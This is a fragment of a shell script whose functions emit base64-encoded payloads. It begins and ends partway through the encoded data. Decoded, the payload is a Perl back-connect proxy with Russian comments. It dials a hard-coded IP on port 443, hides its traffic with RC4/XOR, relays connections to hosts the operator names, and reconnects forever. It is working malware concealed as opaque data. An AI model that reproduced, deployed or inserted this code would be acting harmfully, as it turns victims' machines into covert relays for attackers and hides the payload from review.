c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_43() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTMnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
